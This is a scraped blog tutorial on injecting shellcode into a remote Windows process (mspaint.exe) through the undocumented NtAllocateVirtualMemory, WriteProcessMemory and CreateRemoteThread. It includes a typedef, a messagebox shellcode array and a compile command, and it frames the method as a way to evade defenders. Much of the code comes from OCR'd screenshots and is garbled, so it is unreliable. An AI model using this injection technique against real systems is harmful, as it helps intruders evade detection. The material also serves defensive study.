Code injection via undocumented NtAllocateVirtualMemory. Simple C++ example.

cocomelonc.github.io/tutorial/2021/12/07/malware-injection-10.html

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2 minute read

Hello, cybersecurity enthusiasts and white hackers!



In the previous post I wrote about DLL injection via undocumented <u>NtCreateThreadEx</u>.

Today I tried to replace another function, for example VirtualAllocEx with undocumented NT API function NtAllocateVirtualMemory. That's what came out of it. So let's go to show how to inject payload into the remote process by leveraging a WIN API functions WriteProcessMemory, CreateRemoteThread and an officially undocumented Native API NtAllocateVirtualMemory.

First of all, let's take a look at function NtAllocateVirtualMemory syntax:

```
NTSYSAPI
NTSTATUS
NTAPI NtAllocateVirtualMemory(
  IN HANDLE
                          ProcessHandle,
  IN OUT PVOID
                          *BaseAddress,
  IN ULONG
                          ZeroBits,
  IN OUT PULONG
                          RegionSize,
  IN ULONG
                          AllocationType,
  IN ULONG
                          Protect
);
```

So what does this function do? By <u>documentation</u>, reserves, commits, or both, a region of pages within the user-mode virtual address space of a specified process. So, similar to Win API <u>virtualAllocEx</u>.

In order to use NtAllocateVirtualMemory function, we have to define its definition in our code:

12	#pragma comment(lib, ≪	"ntdll")\$	
14	typedef NTSTATUS(NTA	PI* pNtAllocateVirtualMemory)(\$	
15	HANDLE	ProcessHandle,	
10		^BdseAddress,⇒ ZoroPits ∮	
18	PULONG	RegionSize 4	
19	ULONG	AllocationType.	
20	ULONG	Protect\$	
21	1.4		
22	7;0 \$		
22 23	/;• // 64-bit messagebox	payload (without encryption)\$	
22 23 24	/; • // 64-bit messagebox unsigned char my_pay	<pre>c payload (without encryption)\$ vload[] =+\$</pre>	
22 23 24 25	/; // 64-bit messagebox unsigned char my_pay "\xfc\x48\x81\xe4\	<pre>x payload (without encryption)\$ vload[] =+\$ xf0\xff\xff\xff\xe8\xd0\x00\x00</pre>) \x00\x41"\$
22 23 24 25 26	/; // 64-bit messagebox unsigned char my_pay "\xfc\x48\x81\xe4\ "\x51\x41\x50\x52\	<pre>x payload (without encryption)\$ vload[] =+\$ xf0\xff\xff\xff\xe8\xd0\x00\x00\ x51\x56\x48\x31\xd2\x65\x48\x8b</pre>	\x00\x41"\$ \x52\x60"\$
22 23 24 25 26 27	/; • // 64-bit messagebox unsigned char my_pay "\xfc\x48\x81\xe4\ "\x51\x41\x50\x52\ "\x3e\x48\x8b\x52\	<pre>x payload (without encryption)\$ /load[] =+\$.xf0\xff\xff\xff\xe8\xd0\x00\x00\ x51\x56\x48\x31\xd2\x65\x48\x8b\ x18\x3e\x48\x8b\x52\x20\x3e\x48\</pre>	\x00\x41"\$ \x52\x60"\$ \x8b\x72"\$
22 23 24 25 26 27 28	/; // 64-bit messagebox unsigned char my_pay "\xfc\x48\x81\xe4\ "\x51\x41\x50\x52\ "\x3e\x48\x8b\x52\ "\x50\x3e\x48\x0f\	<pre>x payload (without encryption)\$ /load[] =+\$ xf0\xff\xff\xff\xe8\xd0\x00\x00\ x51\x56\x48\x31\xd2\x65\x48\x8b\ x18\x3e\x48\x8b\x52\x20\x3e\x48\ xb7\x4a\x4a\x4d\x31\xc9\x48\x31\</pre>	\x00\x41"\$ \x52\x60"\$ \x8b\x72"\$ \xc0\xac"\$
22 23 24 25 26 27 28 29	/; // 64-bit messagebox unsigned char my_pay "\xfc\x48\x81\xe4\ "\x51\x41\x50\x52\ "\x3e\x48\x8b\x52\ "\x50\x3e\x48\x0f\ "\x3c\x61\x7c\x02\	<pre>x payload (without encryption)\$ vload[] =+\$ xf0\xff\xff\xff\xe8\xd0\x00\x00\ x51\x56\x48\x31\xd2\x65\x48\x8b\ x18\x3e\x48\x8b\x52\x20\x3e\x48\ xb7\x4a\x4a\x4d\x31\xc9\x0d\x41\x01\ x2c\x20\x41\xc1\xc9\x0d\x41\x01\</pre>	\x00\x41"\$ \x52\x60"\$ \x8b\x72"\$ \xc0\xac"\$ \xc1\xe2"\$

Then, loading the ntdll.dll library to invoke NtAllocateVirtualMemory:



And then get starting address of the our function:



And finally allocate memory:



And otherwise the main logic is the same.



As shown in this code, the Windows API call can be replaced with Native API call functions. For example, VirtualAllocEx can be replace with NtAllocateVirtualMemory, WriteProcessMemory can be replaces with NtWriteProcessMemory.

The downside to this method is that the function is undocumented so it may change in the future.

Let's go to see our simple malware in action. Compile hack.cpp:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmergeall-constants -static-libstdc++ -static-libgcc -fpermissive



Then, run process hacker 2:

gs Heip								
× ^ ×	win10-x64 [Running] - Oracle VM VirtualBox				5	ł		
File Machine View Inpu	t Devic	es ⊦	łelp					
ie Process Hacker (WINDOWS-V9HN	K33\User]					– 0 X		
Hacker View Tools Users Helt	1000 (00001]							
Refresh 🖄 Ontions 🛗 Find	r handles or l		🖋 System inf	ormation		Search Processes (Ctrl+K)	0	
Processes Soniaco Notwork Diak		, ,,,,,,	• System in			ocaren nocesses (earrig	~	
Network Disk	DID	CDU	1/0	D :		D. C.C.		
Name	PID	CPU	I/O total	Private b	User name	Description		
SearchIndexer.exe	3972	0.05	440 B/s	21.41 MB		Microsoft Windows Search		
eV SgrmBroker.exe	4620			2.32 MB		System Guard Runtime Mor		
svchost.exe	1732			2.01 MB		Host Process for Windows S		
svchost.exe	5048			2.32 MB		Host Process for Windows S		
Isass.exe	596	0.05		6.62 MB		Local Security Authority Pro		
e, fontdrvhost.exe	720			1.36 MB		Usermode Font Driver Host		
csrss.exe	504	0.58	408 B/s	1.64 MB		Client Server Runtime Proce		
V 💷 winlogon.exe	564			2.36 MB		Windows Logon Applicatio		
01 fontdrvhost.exe	712			6.65 MB		Usermode Font Driver Host		
f) dwm.exe	908	4.10		44.05 MB		Desktop Window Manager		
N	3060	0.50		45.57 MB	WINDOWS-V9H\User	Windows Explorer		
b) 🥳 VBoxTray.exe	4612	0.03	160 B/s	2.66 MB	WINDOWS-V9H\User	VirtualBox Guest Additions		
✓ ≥ powershell.exe	3908	0.04		56.54 MB	WINDOWS-V9H\User	Windows PowerShell		
conhost.exe	5364			3.15 MB	WINDOWS-V9H\User	Console Window Host		
ProcessHacker.exe	6396	3.90		12.23 MB	WINDOWS-V9H\User	Process Hacker		
B) 🚳 mspaint.exe	6252			7.28 MB	WINDOWS-V9H\User	Paint		
 OneDrive.exe 	6852			26.88 MB	WINDOWS-V9H\User	Microsoft OneDrive	-	
31	<					>		
CPU Usage: 16.23% Physical memory: 1.3 GB (48.15%) Processes: 65								
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For example, the highlighted process mspaint.exe is our victim.

Let's run our simple malware:



As you can see our meow-meow messagebox is popped-up.

Let's go to investigate properties of our victim process PID: 6252:

ile Edit View	Bookmarks Settings Help	\otimes ^ ~		win10-	x64 [Running] - Oracle VM VirtualBo			*
18 PULONG 19 ULONG	RegionSize, AllocationType,	File Machi	ne View Inpu	t Devices	Help			
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23 // <u>64-bit messac</u> 24 unsigned char my 25 "\xfc\x48\x81\	<u>µebox payload</u> (without encryption)\$ / _payload[] = +\$.xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00	General Stat	3,233 results.	Longth	Decult	^	ment Strings	Refresh
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29 "\x3c\x61\x7c\ 30 "\xed\x52\x41\ 31 "\x01\xd0\x3e\	x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1 x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c x8b\x80\x88\x00\x00\x48\x85\xc0\x74	xe2"\$ > 0x2026 x48"\$ > 0x2026 x6f"\$ > 0x2026	0x4000d0 0x400127	6 10	XAYZ>H Meow-meow!			
32 "\x48\x01\xd0\ 33 "\x01\xd0\xe3\ 34 "\xd6\x4d\x31\	x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20 x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48 xc9\x48\x51\xc9\xac\x41\xc9\x04\x4	x49"S > 0x2026 x01"S > 0x2026 x01"S > 0x2026	0x400132 0x400f06 0x400f0e	6 7 23	PID: %i NtAllocateVirtualMemory			
35 "\xc1\x38\xe0\ 36 "\x75\xd6\x58\ 37 "\x8b\x0c\x48\	<pre>x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39 x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e</pre>	xd1" > 0x2026 xd1" > 0x2026 x41" > 0x2026 x8b" > 0x2026	0x400fa0 0x400fb0	13 30	Unknown error Argument domain error (DOMAIN)			
38 "\x04\x88\x48\ 39 "\x41\x59\x41\	x01\xd0\x41\x58\x41\x58\x50\x59\x54 x01\xd0\x41\x58\x41\x58\x50\x59\x5a\x41 x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58	x58" > 0x2026 x41" > 0x2026	0x400fd0 0x400ff0 0x401018	31 36 34	Overflow range error (OVERFLOW) Partial loss of significance (PLOSS) Total loss of significance (TLOSS)	=^^=	×	
40 (x59\x58\x58) 41 "\xc1\x00\x00\ 42 "\x4c\x8d\x85)	x48\x8b\x12\xe9\x49\x11\x11\x11\x5d\x49 x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00 x25\x01\x00\x00\x84\x31\xc9\x41\xba\x45	x3e" > 0x2026 x83" > 0x2026 x83" > 0x2026	0x401040 0x401076	53 27	The result is too small to be represe Argument singularity (SIGN)	Meow-n	neow!	
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55 \$ 56 HMODULE ntdll	= GetModuleHandleA("ntdll");\$					De 🗗 🌶 🖿	12/10	Right Ctrl

As you can see, our meow-meow payload successfully injected as expected!

The reason why it's good to have this technique in your arsenal is because we are not using VirtualAllocEx which is more popular and suspicious and which is more closely investigated by the blue teamers.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

In the next post I'll try to consider another NT API functions, the main logic is the same but there is a caveat with defining the structures and associated parameters. Without defining this structures the code will not run.

VirtualAllocEx NtAllocateVirtualMemory WriteProcessMemory CreateRemoteThread source code in Github

This is a practical case for educational purposes only.

Thanks for your time and good bye! *PS. All drawings and screenshots are mine*